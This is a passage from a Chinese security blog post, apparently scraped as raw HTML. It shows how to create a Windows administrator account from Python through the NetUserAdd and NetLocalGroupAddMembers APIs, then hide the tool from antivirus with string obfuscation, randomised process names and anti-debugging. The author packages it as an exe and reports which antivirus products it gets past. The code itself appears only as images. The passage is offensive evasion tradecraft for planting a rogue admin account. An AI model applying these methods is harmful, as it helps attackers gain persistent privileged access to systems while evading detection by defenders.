unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x05 利用python实现调用api创建账户</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">通过学习微软官方介绍文档，我们可以尝试使用python在Windows 系统上创建一个管理员用户。 根据资料，上文中提到的NetUserAdd和NetLocalGroupAddMembers位于 netapi32.dll中，该dll文件是 Windows 系统中的一个重要动态链接库，它提供了网络管理相关的 API 函数。它具备一些用户管理功能： NetUserAdd: 用于创建新的用户账户 NetLocalGroupAddMembers: 用于将用户添加到本地组（如管理员组），那么我们可以利用该文件中的函数来管理用户和组。 我们可以尝试利用python实现一下上面两个函数的相关功能。 创建用户的代码：<img data-imgfileid="100037634" class="rich_pages wxw-img" data-ratio="0.7268518518518519" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=2873c1cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfHw3rMhTTlRD7fJLFDZE2fAscwIz0BTZAmsiavCw2bXgDxsicDw5m8TjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/>添加到管理员组：<img class="rich_pages wxw-img" data-imgfileid="100037633" data-ratio="0.637962962962963" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1c18cf88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfWxdlqicbR7OtPHtYwdSW3APkS0zVJEaBNdlZLIB4cs3icXp98Mju6Tiaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x06 适当增加免杀技术</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">除了上文代码中已经体现的添加随机延迟外，我们可以再适当增加一些免杀技术，比如字符串混淆、进程名随机化等等。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">字符串混淆：</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">字符串混淆非常重要，是免杀的“基本功”，否则杀软或逆向时可直接检查到可执行文件中的敏感字符串。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037632" class="rich_pages wxw-img" data-ratio="0.26944444444444443" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=57d75913&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22Afnicy9ZuL1LxO8q5L4O5Xxg6tDdfibhmlHlQHGDzGRFyh9SV2mxibK1Auw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">进程名随机：</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用进程名随机可以绕过杀软白名单机制，如果我们用固定进程名打包，杀软可通过哈希、路径、文件名等特征识别，随机名就打乱了这种匹配。<img data-imgfileid="100037637" class="rich_pages wxw-img" data-ratio="0.29444444444444445" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=30f6f29d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22Af1iafY8s43dq5Jlw3kZTOENSiaicgJ0fjibPfyZkUhqVv9vDIXopwwNplpw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">增加一些反调试技术</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">如果不增加一些反调试技术，那么如果遇到杀软或人工分析时，可以轻易看到程序调用了NetUserAdd、NetLocalGroupAddMembers，再结合行为判断就可能查杀。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100037635" data-ratio="0.575" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6ef8b85c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22Af0lPrA6uGOXH7OMBAv8NFpuuaqtU5QqdXyr01ejcqibQ4hPbwFIX9zQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x07 生成exe测试</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">现在让我们打包py脚本测试一下生成的exe能否正常运行 对于某绒的免杀效果还是可以的<img data-imgfileid="100037641" class="rich_pages wxw-img" data-ratio="0.5638888888888889" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=01c7131e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfRibKGaz5377QPckKY6LXEpXAFfthkTRv0IEajW6XibwibBHunyHG7TyXg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/>对于某数字的免杀效果<img class="rich_pages wxw-img" data-imgfileid="100037642" data-ratio="0.5990740740740741" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6305493b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22Af0xjyZh4n5adRIIWt7RdMqrd0uib5XA7nnbFyNYq2I32RwRYohb9wiaCw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/>可过静态但被行为拦截了，还是有待改进~</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x08 参考资料</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd " target="_blank">https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd </a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/ns-lmaccess-localgroup_members_info_3 " target="_blank">https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/ns-lmaccess-localgroup_members_info_3 </a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://github.com/newsoft/adduser" target="_blank">https://github.com/newsoft/adduser</a></span></p></div><p><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=85570525&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2F04LrpEqAf4sBahicTELkciaUibcUONmicuY52iajWS9CsiaG9bomZaficMFDnQDhNdFCIGMxnKwibcialic6Bcf2Xl1WgN2S3ibz3TJFn3B%2F640%3Fwx_fmt%3Dsvg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=85570525&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2F04LrpEqAf4sBahicTELkciaUibcUONmicuY52iajWS9CsiaG9bomZaficMFDnQDhNdFCIGMxnKwibcialic6Bcf2Xl1WgN2S3ibz3TJFn3B%2F640%3Fwx_fmt%3Dsvg"/></p>
